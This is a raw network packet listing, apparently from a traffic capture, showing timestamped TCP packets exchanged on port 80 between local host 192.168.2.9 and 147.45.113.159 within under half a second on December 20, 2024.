Dec 20, 2024 17:13:40.540313959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.540870905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.541013002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.541049957 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.541663885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.541740894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.541779995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.542442083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.542599916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.542640924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.543247938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.543684006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.543740034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.544030905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.544147968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.544187069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.544814110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.544878960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.544914007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.545614004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.545751095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.545790911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.546381950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.546664000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.546701908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.547149897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.547446012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.547485113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.547909021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.548028946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.548069000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.548753023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.549066067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.549105883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.549501896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.549644947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.549684048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.550376892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.550471067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.550508976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.551158905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.551402092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.551436901 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.551873922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.551940918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.551979065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.552663088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.552803993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.552841902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.553508997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.553791046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.553829908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.554325104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.554403067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.554440022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.555067062 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.555216074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.555253983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.613688946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.613893986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.613960028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.614016056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.614031076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.614075899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.614768028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.615634918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.615650892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.615696907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.615710974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.615761995 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.616399050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.616518974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.616569996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.617114067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.617432117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.617486954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.617886066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.618592978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.618648052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.618711948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.618724108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.618772984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.619514942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.619528055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.619574070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.620238066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.621026993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.621038914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.621085882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.621212006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.621257067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.621937990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.622049093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.622102976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.622872114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.623234987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.623286009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.623500109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.623598099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.623662949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.624197960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.624317884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.624366999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.624943972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.625040054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.625097036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.625750065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.625844002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.625894070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.626492977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.626713991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.626764059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.627420902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.627573013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.627644062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.628150940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.628212929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.628273010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.658457041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.658531904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.658603907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.658876896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.658978939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.659040928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.659615040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.659878969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.659930944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.660335064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.703135014 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.724816084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.724874020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.724983931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.725184917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.725198984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.725259066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.726022959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.726140976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.726197004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.726692915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.726800919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.726850033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.727447033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.727619886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.727670908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.728249073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.728439093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.728491068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.729023933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.729732037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.729785919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.729827881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.729840040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.729885101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.730602026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.730978966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.731030941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.731406927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.731486082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.731534958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.732142925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.732609034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.732661963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.732960939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.732978106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.733022928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.733737946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.734528065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.734541893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.734591961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.734662056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.734703064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.735282898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.735548019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.735601902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.736108065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.736366987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.736422062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.736876011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.737293959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.737350941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.737653017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.737765074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.737817049 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.738404989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.738904953 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.738956928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.739245892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.739259958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.739310026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.740036964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.740134001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.740206003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.740751982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.741442919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.741497993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.741631985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.741643906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.741684914 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.742305040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.742629051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.742676973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.743185043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.743380070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.743422031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.743925095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.744004011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.744059086 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.744678974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.745258093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.745317936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.745549917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.745634079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.745677948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.746253967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.746417999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.746460915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.747051954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.747236013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.747282028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.805665970 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.805757999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.805814981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.805885077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.805897951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.805933952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.806674004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.806813955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.806853056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.807460070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.807662010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.807701111 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.807797909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.808552027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.808593035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.808686018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.809433937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.809474945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.809798002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.810049057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.810086966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.810204029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.810830116 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.810866117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.811017990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.811594963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.811636925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.811827898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.812375069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.812438011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.813209057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.813224077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.813257933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.813342094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.813971996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.814030886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.814661026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.814774036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.814786911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.814814091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.815516949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.815562963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.816093922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.816332102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.816346884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.816366911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.817074060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.817137003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.817709923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.817898989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.817910910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.817950964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.818777084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.818790913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.818845987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.820954084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.820966959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.820980072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.820991039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.820995092 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.821013927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.850579023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.850658894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.850753069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.850766897 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.850809097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.850894928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.851310968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.851352930 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.851835966 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.851850033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.851886988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.852579117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.906213045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.918152094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.918173075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.918241978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.918417931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.918498039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.918540955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.918929100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.919050932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.919091940 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.919681072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.919869900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.919913054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.920528889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.920599937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.920638084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.921300888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.921422005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.921463013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.922055960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.922305107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.922347069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.922816992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.922934055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.922977924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.923615932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.923775911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.923815966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.924403906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.924499989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.924542904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.925158978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.925271988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.925316095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.925951958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.926086903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.926151037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.926733017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.926794052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.926834106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.927537918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.927612066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.927651882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.928335905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.928558111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.928602934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:40.929100990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:40.929214954 CET	80	49711	147.45.113.159	192.168.2.9
